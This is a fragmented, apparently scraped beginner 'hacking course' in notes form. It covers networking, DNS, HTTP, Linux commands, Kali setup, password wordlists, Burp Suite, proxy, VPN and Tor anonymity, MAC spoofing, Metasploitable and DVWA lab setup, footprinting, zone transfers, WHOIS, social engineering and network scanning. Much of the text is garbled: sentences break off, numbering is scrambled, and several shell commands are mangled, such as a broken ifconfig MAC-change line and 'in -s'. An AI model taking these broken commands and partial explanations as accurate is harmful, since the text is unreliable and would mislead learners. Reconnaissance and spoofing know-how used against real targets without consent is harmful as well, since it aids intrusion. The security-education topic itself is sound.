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Title: Hacking full t
Description: Hacking full course covered in easy concept. Don't avoid it this can solve you current problem.
Description: Hacking full course covered in easy concept. Don't avoid it this can solve you current problem.
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Introduction, Use, Scope & Laws Of Ethical Hacking
...
Types of Hackers: Categorized into White Hat Hackers (ethical hackers), Grey Hat Hackers (perform both
good and bad actions), and Black Hat Hackers (engage in illegal activities for personal gain)
...
Scope in Ethical Hacking: Indian Governments investment in cyber security, increased cybercrime during
the COVID-19 pandemic, potential for cyber warfare, and the demand for skilled ethical hackers
...
- Networking allows sharing of files, software, and information among connected computers
...
- Networking involves the sharing of hardware and data among connected systems
...
- Public IP addresses are visible on the internet and allow communication with other systems globally
...
- Networking encompasses different types of networks: Local Area Network (LAN), Metropolitan Area
Network (MAN), and Wide Area Network (WAN)
...
- MAN covers a larger geographical area than LAN and includes networks provided by ISPs
...
- IP addresses are essential in networking and provide information about the country, state, ISP, and
device
...
7 billion
unique addresses
...
- IP addresses can be categorized as public (visible on the internet) or private (restricted to a specific
network)
...
- Ports play a crucial role in networking by facilitating communication and data transfer between
systems
...
- Ports can be seen as paths or streets through which data travels between systems
...
- The total number of ports available is 65,536
...
These states determine whether a port is
accessible or restricted
...
For example, port 80
is used for HTTP, and port 443 is used for HTTPS
...
- Dynamic ports range from 49152 to 65535 and can be assigned to different services as needed
...
- Understanding ports and their associated services is important for networking and managing data
transfer
...
WHAT IS OSI Model and TCP/ IP Model?
The OSI (Open Systems Interconnection) model and the TCP/IP (Transmission Control Protocol/Internet
Protocol) model are two different conceptual frameworks that describe the functions and protocols used
in computer networks
...
OSI Model:
The OSI model is a theoretical framework developed by the International Organization for
Standardization (ISO) to standardize network communication protocols
...
The layers, from bottom to top, are as
follows:
2
...
3
...
4
...
5
...
6
...
7
...
8
...
The OSI model offers a conceptual framework for understanding network
communication but is not a strict representation of real-world protocols and technologies
...
TCP/IP Model:
The TCP/IP model, on the other hand, is a practical implementation of network protocols used in the
Internet and most modern networks
...
The TCP/IP
model consists of four layers:
2
...
3
...
4
...
5
...
The TCP/IP model is widely used in the implementation of the Internet and forms the basis for network
communication in most modern networks, including local area networks (LANs) and wide area networks
(WANs)
...
However, they share
common principles and concepts, and the TCP/IP model can be loosely mapped to the lower layers of
the OSI model
...
They define the format and order of messages exchanged between devices
on a network, as well as the actions to be taken at each step of the communication process
...
Transmission Control Protocol (TCP): TCP is a reliable, connection-oriented protocol that guarantees
the delivery of data packets in the order they were sent
...
TCP is commonly used for applications that require error-free and
ordered data delivery, such as web browsing, email, file transfer, etc
...
User Datagram Protocol (UDP): UDP is a connectionless, unreliable protocol that does not guarantee
the delivery or order of data packets
...
UDP is
often used in applications where real-time data transmission is crucial, such as video streaming, online
gaming, voice over IP (VoIP), etc
...
Internet Protocol (IP): IP is responsible for addressing and routing packets across different networks
...
g
...
4
...
It defines how
web browsers request web pages from servers and how servers respond with the requested content
...
5
...
It specifies how email clients communicate with mail servers to send and receive emails
...
File Transfer Protocol (FTP): FTP is a protocol for transferring files between a client and a server
...
Difference between TCP and UDP
...
The key differences between
TCP and UDP are as follows:
1
...
Connectionless: TCP is connection-oriented, meaning it establishes a
connection between the sender and receiver before transmitting data
...
2
...
It performs error detection, retransmission of lost packets, and flow control
...
It simply sends
packets without verifying if they were received
...
Order of Delivery: TCP guarantees the order of delivery, meaning that packets will be received in the
same order they were sent
...
4
...
UDP has less overhead, making it faster and more suitable for real-time
applications
...
The choice between TCP and UDP
depends on the specific requirements of the application or service being used
...
It
provides a user-friendly way to access websites and other internet services
...
com”
is a domain name
...
It is a decentralized system that translates domain names into
their corresponding IP addresses
...
DNS records are the individual pieces of information stored in a DNS database (also known as a zone file)
that provide various types of information about a domain
...
A Record (Address Record): This record maps a domain name to an IP address
...
2
...
It is used when you want multiple domain
names to point to the same IP address
...
MX Record (Mail Exchange Record): This record specifies the mail server responsible for handling
email for a domain
...
3
...
It is used to delegate control of a domain to specific name servers
4
...
It is commonly used for domain verification, SPF records, and other purposes
...
It is stored on a DNS server
and is used to provide DNS resolution for that domain
...
WHAT IS HTML REQUEST
...
The Hypertext Transfer Protocol
(HTTP) is typically used for communication between the client and the server
...
When the user performs one of these actions, the web browser
constructs an HTTP request and sends it to the server
...
HTTP Method: This indicates the type of action the client wants to perform on the server's resource
...
2
...
It typically includes the protocol (e
...
, "http://" or "https://"), domain
name, and path to the specific resource
...
Headers: HTTP headers provide additional information about the request, such as the type of content
the client can accept or the authentication credentials
...
4
...
For example, when submitting a form, the form data is often included in the request body
...
The response typically includes an HTTP status code, headers,
and a response body (e
...
, the HTML content of a webpage or data in a specific format like JSON)
...
WHAT IS HTML RESPONSE ?
An HTML response refers to the data and information that a server sends back to the client
(usually a web browser) in response to an HTTP request
...
The HTML response consists of several components:
1
...
It informs
the client about the outcome of the request
...
Each status code conveys a specific meaning
...
Headers: HTTP response headers provide additional information about the response
...
3
...
In the
case of an HTML response, the body typically contains the HTML code that defines the structure and
presentation of the webpage
...
Regarding the type of request methods, the HTTP specification defines several methods that clients can
use to interact with server resources
...
GET: This method is used to retrieve a resource from the server
...
2
...
This can include submitting form
data, uploading files, or creating new resources on the server
...
PUT: The PUT method is used to update an existing resource on the server
...
4
...
These are just a few examples of the HTTP request methods
...
In summary, an HTML response is the data and information sent by a server back to the client as a result
of an HTTP request
...
Capturing and analysing network packets
Capturing and analyzing network packets is an essential task in network troubleshooting, security
analysis, and performance optimization
...
One of the most popular tools for this purpose is Wireshark, a powerful opensource network protocol analyzer
...
Packet Capture: The first step is to capture network packets
...
You can specify filters to
capture specific types of packets or target specific IP addresses
...
Packet Analysis: Once you have captured packets, you can open the capture file
in Wireshark or any other packet analysis tool
...
3
...
You can create filters based on source/destination IP
addresses, ports, protocol types, or even specific packet content
...
Protocol Decoding: Network packets contain various protocols like Ethernet, IP, TCP, UDP, HTTP, etc
...
This helps in understanding the network traffic and identifying any anomalies or issues
...
Statistical Analysis: Packet analyzers often provide statistical information about the captured packets
...
Analyzing these statistics helps in identifying network bottlenecks or performance
problems
...
Troubleshooting and Security Analysis: With the captured and analyzed packets, you can troubleshoot
network issues, detect network misconfigurations, investigate application-level problems, or perform
security analysis
...
Remember, capturing network packets often
requires administrative privileges, and it's crucial to respect privacy and legal boundaries when capturing
and analyzing network traffic
...
What is LINUX ?
Linux is an open-source operating system kernel that serves as the foundation for various Unix-like
operating systems
...
Linux is known for its stability, security, and flexibility, and it is widely used in a variety of devices, from
personal computers and servers to mobile phones, embedded systems, and supercomputers
...
This has led to the development of numerous Linux distributions, or "distros," which
package the Linux kernel with additional software and tools to create complete operating systems
...
Some of the popular Linux distributions include Ubuntu, Fedora,
Debian, CentOS, and Arch Linux
...
Linux has a rich ecosystem of open-source software and a vibrant community of developers and
enthusiasts who contribute to its development and maintenance
...
Overall, Linux provides users with a powerful and flexible platform that is free to use, modify, and
distribute
...
Cool features of LINUX
Linux offers several cool features that set it apart from other operating systems
...
Open-source: Linux is built on the principles of open-source software, meaning its source code is
freely available to the public
...
The open-source nature also encourages collaboration and innovation within
the Linux community
...
Stability and Reliability: Linux is known for its stability and reliability, especially in server
environments
...
Linux servers are often
preferred for critical tasks due to their robustness and ability to run for extended periods without
requiring a reboot
...
Security: Linux has a strong focus on security
...
Additionally, Linux provides fine-grained access
controls, user privilege management, and built-in security features like SELinux (Security-Enhanced
Linux) to protect against unauthorized access and malware
...
Customization and Flexibility: Linux provides extensive customization options
...
Moreover, Linux allows users to configure the system to suit their specific requirements, giving them full
control over their computing environment
...
Package Management: Linux distributions utilize package management systems that simplify the
installation, upgrading, and removal of software packages
...
6
...
It can run on everything from desktops and laptops to smartphones,
embedded systems, servers, and supercomputers
...
7
...
The command-line shell, along with numerous command-line tools
and utilities, provides advanced capabilities for scripting, automation, system administration, and
debugging
...
Virtualization and Containers: Linux has robust support for virtualization technologies like KVM
(Kernel-based Virtual Machine) and Xen, which allow running multiple operating systems simultaneously
on a single machine
...
These features, among others, contribute to Linux's popularity and make it a compelling choice for both
personal and enterprise use
...
It defines the
directory structure and organization of files on a Linux system
...
/(root): The root directory is the top-level directory in the file system hierarchy
...
2
...
Common commands like Is, cp, and rm are
stored here
...
/boot: The boot directory contains the files required for the system boot process,
Her including the kernel, bootloader configuration, and initial RAM disk (initrd) if used
...
/etc: The etc
directory contains system configuration files
...
5
...
Users store their
personal files and configurations in their respective home directories
...
/lib and /lib64: These directories contain shared libraries required by programs
and system utilities
...
7
...
/media is typically used for automatically mounted devices, while /mnt is used
for temporary manual mounts
...
/opt: The opt directory is used for installing optional software or add-on packages
...
9
...
Commands like ifconfig and fdisk are
located here
...
/tmp: The tmp directory is used for temporary files
...
11
...
It has subdirectories such as /usr/bin for user binaries, /usr/lib for libraries, and /usr/share for
shared data
...
/var: The var directory contains variable data that changes during system operation
...
These are just a few of the key directories in the Linux file system
...
Basic LINUX commands
Here are some basic Linux commands that are frequently used:
1
...
2
...
For example, "cd /home" changes to the "/home" directory
...
pwd: Prints the current working directory, showing the full path of the current directory
...
mkdir: Creates a new directory
...
5
...
Use with caution, as it permanently deletes the specified
files/directories
...
6
...
For example, "cp file
...
txt" to the
specified destination
...
mv: Moves or renames files and directories
...
txt /path/to/destination" moves
"file
...
To rename a file, use "my oldname
...
txt"
...
touch: Creates an empty file or updates the timestamp of an existing file
...
txt" creates an empty file named "myfile
...
9
...
For example, "cat myfile
...
txt" in
the terminal
...
grep: Searches for a specific pattern or text within files
...
txt" searches for "searchterm" in "myfile
...
11
...
For example, "head myfile
...
txt"
...
12
...
For example, "tail myfile
...
txt"
...
13
...
It is used to control read, write, and execute
permissions for the owner, group, and others
...
sudo: Executes a command with administrative privileges
...
15
...
For example, "man Is" shows the manual for the "Is"
command, providing detailed information about its usage and options
...
The Linux command-line interface offers
a wide range of commands and options for various tasks and operations
...
apt-get or apt: Package management commands used in Debian-based distributions like Ubuntu
...
For example, "sudo apt-get update" updates
the package lists, and "sudo apt-get install package-name" installs a specific package
...
yum or dnf: Package management commands used in Red Hat-based distributions like Fedora and
CentOS
...
For example, "sudo yum update" updates the system
packages, and "sudo yum install package-name" installs a specific package
...
systemctl: Command for managing system services and daemons
...
For example, "sudo systemctl start service-name" starts a service, and "sudo
systemctl enable service-name" enables a service to start automatically on boot
...
ssh: Command for secure remote login to a remote machine over a network
...
For example, "ssh username@remote-host" connects to a
remote host using SSH
...
scp: Command for secure file transfer between local and remote systems using SSH
...
For example, "scp file
...
txt" to the specified location on a remote host
...
find: Command for searching files and directories based on various criteria like name, size, or
modification time
...
For example, "find /path/to/searchname 'filename"" searches for a file with a specific name in the specified path
...
wget: Command for downloading files from the web
...
For example, "wget https://example
...
zip" downloads the file from the specified
URL
...
tar: Command for creating and extracting compressed archive files
...
For example, "tar- czvf archive
...
gz folder" creates a compressed
tar archive of a folder
...
df: Command for displaying disk space usage on file systems
...
For example, "df -h" displays disk space usage in a human-readable
format
...
top: Command for monitoring system processes and resource usage in real-time
...
Pressing "q" exits the top command
...
Remember to use the commands with
appropriate permissions and caution, especially when performing system-level operations
What is configuring kali Linux ?
Configuring Kali Linux involves customizing the settings, optimizing the system, and setting up various
tools and services to suit your needs
...
Here are some common configuration tasks you might perform when setting up
Kali Linux:
1
...
2
...
3
...
4
...
5
...
6
...
7
...
8
...
9
...
10
...
These are just a few examples of the configuration tasks you might perform when setting up Kali Linux
...
Wordlist
A wordlist, also known as a dictionary or password list, is a text file containing a collection of words,
phrases, or combinations of characters
...
In the context of password cracking, a wordlist is used to guess or brute-force passwords by
systematically trying each word or combination of words in the list
...
Wordlists can be created manually or obtained from various sources
...
Default wordlists: These are pre-installed or commonly bundled wordlists that come with password
cracking tools like John the Ripper or Hashcat
...
2
...
Custom wordlists can include combinations of words, personal
information, known passwords, or industry- specific terms
...
Brute-force wordlists: These wordlists contain all possible combinations of characters within a specific
length range
...
4
...
It's important to note that using wordlists for malicious purposes, such as unauthorized access or
cracking others' passwords, is illegal and unethical
...
Burpsuit pro
Burp Suite Pro is a commercial version of the Burp Suite, a comprehensive web application security
testing platform developed by PortSwigger
...
Here are
some key features and capabilities of Burp Suite Pro:
1
...
2
...
This feature enables manual testing and fine-grained control
over requests and responses, making it easier to identify vulnerabilities and security issues
...
Target analysis and mapping: Burp Suite Pro helps users understand the structure of web applications
by providing tools for target analysis and mapping
...
4
...
This can help identify vulnerabilities that may
not be found through manual testing alone
...
Session management: Burp Suite Pro includes session management capabilities, allowing testers to
handle and manipulate user sessions within web applications
...
6
...
It also supports collaboration among
team members, facilitating efficient communication and workflow during security testing engagements
...
Extensibility: Burp Suite Pro supports extensions and plugins that enhance its functionality and allow
users to customize their testing workflows
...
It's worth mentioning that while Burp Suite Pro is a paid version of the tool, there is also a free version
called Burp Suite Community Edition, which provides a subset of the features available in the Pro
version
...
Anonymous configuration in LINUX
In Linux, you can configure your system to use anonymous browsing or network connections through
various methods
...
Proxy Servers: Proxy servers act as intermediaries between your computer and the internet
...
You can find both free and paid proxy servers on the internet
...
2
...
To use Tor, you need to install the Tor
Browser, which is a modified version of Mozilla Firefox
...
It also includes additional privacy features like
disabling JavaScript and blocking certain types of content
...
Virtual Private Networks (VPNs): VPNs create a secure and encrypted connection between your device
and a remote server
...
Many VPN providers offer anonymous browsing as one of their features
...
This
will route your internet traffic through the VPN server, making it appear as if you are browsing from that
server's location
...
Privacy-focused Linux distributions: There are Linux distributions specifically designed to prioritize
privacy and anonymity
...
Tails is a
live operating system that you can boot from a USB stick, while Whonix is a virtual machine-based
distribution
...
Remember that while these methods can enhance your anonymity, they do not guarantee complete
anonymity or protection from all forms of tracking
...
Configuring Proxy
To configure a proxy server in Linux, you can follow these steps:
1
...
2
...
The
most commonly used environment variables are 'http_proxy" and "https_proxy
...
Run the following commands:
•
shell
export http_proxy=http://proxy_ip:proxy_port
export https_proxy=http://proxy_ip:proxy_port
If your proxy server requires authentication, you can include the username and password in the URL:
•
shell
export http_proxy=http://username: password@proxy_ip:proxy_port
export https_proxy=http://username: password@proxy_ip:proxy_port
1
...
Open the file with a text editor using the command:
•
shell
sudo nano /etc/environment
Add the following lines at the end of the file:
arduino
http_proxy=http://proxy_ip:proxy_port https_proxy=http://proxy_ip:proxy_port
Save the file and exit the text editor
...
Apply the changes to the current session: To apply the changes to the current terminal session, you
need to run the following command:
•
shell
source /etc/environment
1
...
It will display all the environment variables, and you should see the
'http_proxy' and 'https_proxy variables with the correct values
...
Keep in mind that not all
applications respect these variables, so it's essential to configure proxy settings within individual
applications if needed
...
Install a VPN client: There are several VPN clients available for Linux, such as OpenVPN, WireGuard,
and NordVPN
...
For example, if
you're using OpenVPN, you can install it by running the following command in the terminal:
•
shell
sudo apt install openvpn
1
...
Most VPN providers offer these
files for download on their website or provide them via email
...
2
...
Open the terminal and navigate to the directory where you have the VPN configuration files
...
For OpenVPN, you can use the
'openvpn command followed by the configuration file
...
ovpn
• If prompted, enter your VPN username and password or any other credentials required by your VPN
provider
...
Verify the VPN connection: After initiating the VPN connection, you should see log output indicating
that the connection has been established
...
whatismyip
...
If the IP address displayed is
different from your regular IP, then your VPN connection is working correctly
...
Automate VPN connection (optional): To automate the VPN connection on system startup, you can
add the VPN configuration command to your system's startup scripts
...
For example, on Ubuntu-based systems, you can use the Startup
Applications utility to add the command
...
It's recommended to refer to the documentation or support resources provided by your VPN
provider for specific instructions on configuring their service on Linux
...
Identify the network interface: Open a terminal and run the following command to list the available
network interfaces:
•
shell
ifconfig -a
Identify the network interface for which you want to change the MAC address
...
Disable the network interface: To change the MAC address, you need to temporarily disable the network
interface
...
Replace
...
Change the MAC address: Once the interface is down, you can change the MAC address using the
following command:
•
shell
sudo ifconfig
Replace
desired MAC address
...
For example:
•
shell
sudo ifconfi geth 0h wether 00:11:22:33:44:55
Enable the network interface: After changing the MAC address, you can network interface back up by
running the following command:
•
shell
sudo ifconfig
bring the
1
...
For example:
•
shell
sudo ifconfig eth0 up
1
...
The output will show the updated
MAC address
...
If you want to make the MAC address change
persistent, you may need to modify the network configuration files specific to your Linux distribution
...
Create the shell script: Open a text editor and create a new file
...
sh:
•
shell
nano mac changer
...
Add the script contents: In the text editor, enter the commands to change the MAC address
...
1
...
In Nano, you can press Ctrl+0 to save and Ctrl+X
to exit
...
Make the script executable: In the terminal, make the script executable by running the following
command:
•
shell
chmod +x mac_changer
...
Move the script to a suitable location: Move the script to a location where it will be executed during
system startup
...
d/directory:
•
shell
sudo my mac_changer
...
d/
•
•
Create a symbolic link: To ensure that the script is executed during startup, create a symbolic link
in the appropriate runlevel directory
...
d' directory:
shell
in -s /etc/init
...
sh /etc/rc
...
Adjust the paths
accordingly
...
Configure the script to run on startup: To configure the script to run during system startup, you
need to add it to the appropriate initialization system
...
sh
• If you're using SysVinit (common in older distributions), run the following command:
•
shell
sudo update-rc
...
sh defaults
1
...
The shell script should be
automatically executed during startup, and the MAC address of the specified network interface will be
changed accordingly
...
Additionally, always exercise caution when modifying network settings, as
improper configurations can result in network connectivity issues
...
1
...
Run the following command to bring down the interface:
shell : sudo
...
Change the MAC address: Once the interface is down, you can change the MAC address using the
following command:
•
shell: sudo macchanger -m
Replace *
*
...
If it's not
already installed, you can install it using the package manager of your distribution
...
Enable the Wi-Fi Interface: After changing the MAC address, you can bring the Wi- Fi Interface
back up by running the following command:
Replace
...
Verify the MAC address change: To confirm that the MAC address has been changed
successfully, you can use the following command to display the Wi-Fi interface details:
shell
Copy code
ifconfig
Replace
...
It's important to note that changing the MAC address is typically temporary and will be reset
when you restart your system or restart the network interface
...
INSTALLATION OF WINDOW XP
To Install Windows XP, you will need a Windows XP installation CD or a bootable USB drive with
the Windows XP setup files
...
Check system requirements: Ensure that your computer meets the minimum system
requirements for Windows XP
...
5 GB of free hard disk space
...
Backup your data: Before proceeding with the installation, it's essential to back up
all your important data
...
3
...
4
...
Restart your computer and enter the BIOS setup by pressing the
appropriate key (such as F2, Del, or Esc) during startup
...
5
...
The Windows XP
installation process should begin
...
6
...
You can choose to create partitions or use the entire disk as a single
partition
...
7
...
This key is usually
found on the Windows XP installation CD or in the documentation that came with your copy of
Windows XP
...
Set up regional and language options: Select your preferred language and regional settings
...
Create user accounts: Create user accounts and passwords for the Windows XP
installation
...
Complete the installation: Allow the installation process to continue, and the
necessary files will be copied to your computer
...
11
...
Follow the
instructions provided during the activation process
...
Install device drivers and updates: After Windows XP is installed and activated, install the
necessary device drivers for your hardware components
...
Please note that Windows XP is an outdated operating system that is no longer supported by
Microsoft
...
It is
highly recommended to consider using a more modern and supported operating system for
better security and compatibility with current software and hardware
...
Here's a general outline of the installation
process for both:
1
...
Here are the steps:
a
...
It's important to download
from trusted sources to ensure the integrity of the file
...
Install a Virtualization Software: Install a virtualization software like VirtualBox
on your computer if you don't have one already
...
c
...
Follow
the import wizard to configure the virtual machine settings
...
Start the Metasploitable 2 VM: Once the import is complete, select the
Metasploitable 2 VM in VirtualBox and click "Start" to power it on
...
e
...
2
...
To install DVWA, you need a web server with PHP and a database server like MySQL
...
Install a Web Server: Set up a web server like Apache HTTP Server or Nginx on your machine
...
b
...
Make sure to include the necessary modules required
by DVWA
...
c
...
Follow the
instructions specific to your operating system to install and configure the database server
...
Download DVWA: Download the DVWA source code from the official DVWA GitHub repository
or reliable sources
...
Configure DVWA: Extract the DVWA source code and move it to the web
server's document root directory
...
inc
...
dist file to
config/config
...
php
...
inc
...
f
...
g
...
You should see the DVWA setup page
...
Setup DVWA: Follow the instructions on the DVWA setup page to create the database and set
up the necessary configurations
...
Explore and Test: Once the installation is complete, you can access the DVWA application using
the configured URL and start exploring and testing the vulnerabilities within it
...
These systems are intentionally vulnerable and should not be exposed to the
internet or used for malicious purposes
...
WHAT IS FOOTPRINTING AND RECONNAISSANCE
Footprinting and reconnaissance are techniques used in the field of cybersecurity and
information gathering
...
These techniques
are often employed by both ethical hackers and malicious actors to gather intelligence before
launching an attack
...
Footprinting: Footprinting refers to the process of gathering information about a target
organization or system from publicly available sources
...
Footprinting techniques may include:
• Passive Footprinting: This involves gathering information without directly interacting with
the target
...
• Active Footprinting: Active footprinting involves interacting with the target system or network
to gather information
...
2
...
Unlike passive footprinting,
reconnaissance involves directly interacting with the target to obtain data
...
Reconnaissance techniques
can include:
• Network Scanning: This involves using tools to scan the target network and identify active
hosts, open ports, and services running on those ports
...
• Vulnerability Scanning: Vulnerability scanning tools are used to identify known vulnerabilities
in target systems or networks
...
• Social Engineering: Social engineering techniques involve manipulating individuals within the
target organization to gather information
...
It's important to note that both footprinting and reconnaissance can be performed for legitimate
purposes, such as security assessments, network auditing, or vulnerability identification, with
the consent of the target organization
...
TYPES OF FOOTPRINTING AND RECONNAISSANCE
There are various types of footprinting and reconnaissance techniques used in cybersecurity
...
Here are some
common types:
1
...
• Search Engine Footprinting: Using search engines to discover information
about the target, such as subdomains, directories, files, and cached pages
...
• WHOIS Footprinting: Extracting domain registration information using WHOIS databases to
identify the organization's contact details, registration dates, and DNS information
...
Active Footprinting:
• Port Scanning: Scanning the target's network to identify open ports and services running on
those ports, helping to build a network map and potential
entry points
...
This
can reveal software versions and configurations
...
• ICMP Footprinting: Sending ICMP (Internet
Control Message Protocol)
requests to network hosts to determine their availability and potential network
topology
...
3
...
• Vulnerability Scanning: Utilizing automated tools or manual techniques to scan
the target system or network for known vulnerabilities, misconfigurations, or weaknesses that
could be exploited
...
This can involve techniques like phishing, pretexting, Impersonation, or dumpster diving
...
Wireless Reconnaissance: Collecting information about wireless networks in the target's
vicinity, including network names (SSID), encryption protocols, signal strength, and potential
vulnerabilities
...
It's important to use these techniques
responsibly and with proper authorization to avoid any legal and ethical implications
USE OF FOOTPRINTING AND REC0NNAISSANCE
Footprinting and reconnaissance techniques have several practical uses in the field of
cybersecurity and information gathering
...
Security Assessments: Organizations often employ footprinting and reconnaissance
techniques as part of security assessments or penetration testing engagements
...
This information helps
in strengthening security measures and addressing vulnerabilities before they can be
exploited by malicious actors
...
Vulnerability Identification: Footprinting and reconnaissance techniques play a crucial role in
identifying vulnerabilities within target systems or networks
...
This information enables organizations to patch or
mitigate vulnerabilities, reducing the risk of successful cyberattacks
...
Network Mapping: Footprinting and reconnaissance techniques aid in mapping the network
infrastructure of an organization
...
This
map helps in understanding the network topology, identifying potential points of entry, and
devising effective security measures
...
Threat Intelligence Gathering: Footprinting and reconnaissance are essential for gathering
threat intelligence
...
This information helps in proactive
defense, incident response, and threat hunting activities
...
Social Engineering Prevention: Footprinting and reconnaissance techniques also help
organizations in understanding their online presence and potential exposure to social
engineering attacks
...
This awareness allows organizations to educate
employees, implement security awareness programs, and reinforce measures to prevent social
engineering attacks
...
Incident Response: During incident response activities, footprinting and reconnaissance
techniques can be used to gather information about the attacker's infrastructure, tactics, and
tools
...
7
...
Organizations can monitor publicly available information
about their competitors, such as their website updates, product releases, executive changes, or
business strategies
...
It's important to note that the use of these techniques should always comply with legal and ethical
standards
...
HOW TO FOOTPRINTING IN WEBSITES
Footprinting websites involves gathering information about a target website to understand its
structure, technology stack, and potential vulnerabilities
...
Search Engines: Utilize search engines like Google, Bing, or DuckDuckGo to search for the
target website and gather information from search results
...
2
...
WHOIS databases provide details such as the domain owner,
registration date, expiration date, and contact information
...
3
...
Tools like DNSmap, DNSenum, or online services can help identify
subdomains by brute-forcing common subdomain names or querying DNS records
...
Website Crawling: Employ website crawling tools like wget, HTTrack, or specialized web
crawlers to explore the target website
...
5
...
This can help identify potential relationships or
vulnerabilities shared between websites hosted on the same infrastructure
...
Web Server Fingerprinting: Analyze the web server's response headers to gather information
about the server software and its version
...
g
...
This
information can be useful in identifying potential vulnerabilities associated with specific server
versions
...
Error Messages: Pay attention to error messages returned by the web server or web
applications
...
8
...
txt and Sitemap
...
txt file and sitemap
...
The robots
...
The sitemap
...
9
...
Look for mentions, interactions, or
any publicly available information that can reveal details about the organization, employees,
technologies in use, or potential vulnerabilities
...
Archived Versions: Explore web archives like the Wayback Machine (archive
...
Archived versions may provide insights into past
configurations, content, or functionality that could be relevant to the footprinting process
...
Always ensure you have proper authorization or are performing footprinting on your
own websites or with consent from the owner
...
TRACE ANY EMAIL DATA WITHOUT FOOTPRINTING
Tracing email data without footprinting can be challenging, as footprinting techniques are
commonly used to gather information about the source and origin of an email
...
Here are a few approaches:
1
...
By analyzing the email headers, you can identify the sender's IP
address, the intermediate servers involved, and potentially uncover any suspicious or
manipulated headers
...
This analysis can help trace the email's route but may not
always lead to the exact source
...
IP Geolocation: If you obtain the IP address from the email headers, you can use IP
geolocation services to determine the approximate location of the sender
...
3
...
ESPs often have abuse departments that
investigate and take appropriate action against malicious or abusive users
...
4
...
They have the authority and resources to
investigate such incidents
...
5
...
Social
engineering involves contacting the sender, engaging in conversations, and attempting to extract
more details that could aid in identification
...
Remember, tracing email data without footprinting can be limited in terms of accuracy and
availability of information
...
It's important
to prioritize your safety and seek assistance from appropriate authorities when dealing with
potentially harmful or
DNS Footprinting
DNS footprinting, also known as DNS reconnaissance, is a technique used to gather information
about a target organization's DNS infrastructure and its associated systems
...
Here are some common methods and tools used in DNS footprinting:
1
...
By attempting zone transfers on a
target's DNS server, an attacker can gather a comprehensive list of all hostnames and IP
addresses associated with the domain
...
2
...
By querying different DNS records, an attacker can
build a map of the target organization's DNS infrastructure
...
Reverse DNS Lookup: Reverse DNS lookup is the process of resolving an IP address to obtain
the associated domain name
...
4
...
Tools like dnsenum or fierce can automate this process by brute- forcing common subdomain
names and generating a list of discovered hosts
...
Search Engines and DNS History: Search engines like Google or specialized DNS history
services like DNS Dumpster or Security Trails can provide historical DNS
data
...
6
...
Phishing emails or targeted communications can be used to extract
details about domain names, subdomains, or email server configurations
...
However, when
conducted with malicious intent, it can aid attackers in identifying potential targets, identifying
vulnerable systems, or crafting more targeted attacks
...
Whois Footprinting
Whois footprinting is a technique used to gather information about a target domain or IP
address by querying publicly available WHOIS databases
...
Here's how WHOIS footprinting is typically conducted:
1
...
WHOIS servers maintain a database of registered domain names
and IP addresses, along with relevant information
...
2
...
This includes information such as the registrant's name,
organization, email address, phone number, address, registrar details, registration and expiration
dates, and sometimes even name servers associated with the domain
...
Analyzing Results: The extracted WHOIS data can provide valuable insights for footprinting
purposes
...
This information can be useful for
reconnaissance, targeted attacks, social engineering, or other malicious activities
...
WHOIS History: Some services provide historical WHOIS data, allowing you to track changes in
ownership, contact details, or name server configurations over time
...
It's important to note that in recent years, the availability of WHOIS data has changed due to
privacy regulations like the General Data Protection Regulation (GDPR)
...
Additionally, some organizations or individuals may choose to use
domain privacy services to further obfuscate their WHOIS information
...
It's crucial to respect privacy regulations and legal boundaries
when conducting any information gathering activities
NS Lookup
NS lookup, also known as Name Server lookup, is a method used to retrieve the authoritative
name servers for a domain
...
Here's how an NS lookup is typically performed:
1
...
2
...
For example, if the domain is "example
...
com
...
Perform the NS Lookup: Use the selected DNS lookup tool and provide the chosen domain as
the input
...
4
...
Each NS record contains the domain name of the name
server responsible for handling DNS queries for that domain
...
com
...
example
...
example
...
NS
ns2
...
com
...
example
...
example
...
com
...
What is Network scanning
...
• Network scanning helps in identifying potential security risks, misconfigurations, and entry
points for unauthorized access
...
• Common network scanning techniques include port scanning, vulnerability
Scanning, and network mapping
...
This information helps in identifying potential services and
vulnerabilities
...
• Network mapping aims to create a visual representation of the network’s structure, including
devices, routers, and their interconnections
...
• Network scanning tools, such as Nmap, Nessus, and OpenVAS, automate the scanning process
and provide detailed reports on discovered vulnerabilities and network information
...
• It is essential to obtain proper authorization and follow legal and ethical guidelines when
conducting network scanning activities to avoid any unauthorized access or legal repercussions
...
Network scanning methodology
Network scanning methodology provides a systematic approach to conducting
network scans effectively and efficiently
...
Planning and Preparation:
• Clearly define the objectives of the network scan, such as identifying
Conduction vulnerabilities, mapping network resources, or assessing security controls
• Obtain proper authorization and ensure compliance with legal and ethical
guidelines
...
2
...
• Identify target IP ranges, network devices, domain names, and associated
services
...
Discovery:
• Conduct active scanning to discover live hosts on the network using tools like
ping sweeps or ARP scanning
...
4
...
• Enumerate network resources, user accounts, and shared directories to gain a
comprehensive understanding of the network's structure
...
Vulnerability Assessment:
• Perform vulnerability scanning to identify known security weaknesses in the
target systems
...
• Prioritize vulnerabilities based on their severity, impact, and exploitability
...
Analysis and Reporting:
• Analyze the collected data, including network maps, scan results, and
vulnerability findings
...
• Generate comprehensive reports summarizing the findings, including actionable
recommendations for improving network security
...
Remediation and Follow-up:
• Address identified vulnerabilities and security weaknesses promptly, following best practices
and security guidelines
...
• Conduct periodic follow-up scans to validate the effectiveness of remediation efforts and
ensure continuous improvement of network security
...
Here are some common types of network scans:
1
...
It helps in determining potential entry points, identifying running services, and
assessing the security posture of network devices
...
Vulnerability Scanning:
• Vulnerability scanning focuses on identifying security vulnerabilities and
weaknesses in network devices, systems, and applications
...
3
...
It helps in understanding the network layout, identifying potential attack vectors, and
mapping out the relationships between network components
...
Host Discovery:
Host discovery scans involve identifying live hosts on a network by sending
probe packets and analyzing responses
...
5
...
It involves analyzing network responses, examining TCP/IP stack behaviors, and comparing
them against known OS signatures or patterns
...
Service Enumeration:
Service enumeration scans focus on identifying the specific services running
on target systems and gathering detailed information about them
...
7
...
• Sniffing tools intercept and analyze packets, allowing security professionals to identify
potential security issues or suspicious activities
...
Wireless Network Scanning:
• Wireless network scanning targets wireless networks to identify access points,
detect security vulnerabilities, and assess encryption protocols
...
What is Enumeration?
Enumeration refers to the act of listing or counting items systematically
...
Enumeration is
commonly used in various fields such as mathematics, computer science, data analysis, and
research
...
Here are a few
common types:
1
...
It is often used in counting or creating a comprehensive list without any
specific order or categorization
...
Ordered Enumeration: In this type, items are listed in a specific order based on a certain
criterion
...
3
...
It involves studying
permutations, combinations, and other combinatorial structures
...
Enumeration in Programming: In programming languages, enumeration refers to defining a
data type that consists of a set of named values
...
